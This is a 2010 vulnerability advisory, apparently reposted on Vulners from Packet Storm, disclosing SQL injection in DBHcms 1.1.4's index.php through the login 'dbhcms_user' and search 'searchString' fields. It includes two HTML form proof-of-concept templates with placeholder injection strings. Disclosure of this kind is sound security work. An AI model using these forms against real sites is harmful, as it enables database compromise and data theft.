Lucene search
K

DBHcms 1.1.4 SQL Injection

🗓️ 28 Oct 2010 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Vulnerability in DBHcms 1.1.4 SQL Injectio

Code
`Vulnerability ID: HTB22651  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_dbhcms.html  
Product: DBHcms   
Vendor: drbenhur.com ( http://www.drbenhur.com/ )   
Vulnerable Version: 1.1.4 and probably prior versions  
Vendor Notification: 13 October 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "dbhcms_user" variable.  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/" method="post" name="main" >  
<input type="hidden" name="dbhcms_user" value="'SQL CODE HERE" />  
<input type="hidden" name="dbhcms_passwd" value="password" />  
<input type="submit" value="Login" name="submit" />  
</form>  
  
  
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "searchString" variable.  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang=en" method="post" name="search" />  
<input name="dbhcmsCache" value="CT_OFF" type="hidden" />  
<input name="todo" value="searchExecute" type="hidden" />  
<input name="searchString" value="'SQL CODE HERE" type="hidden" />  
<input type="submit" value="Search" name="submit" />  
</form>  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation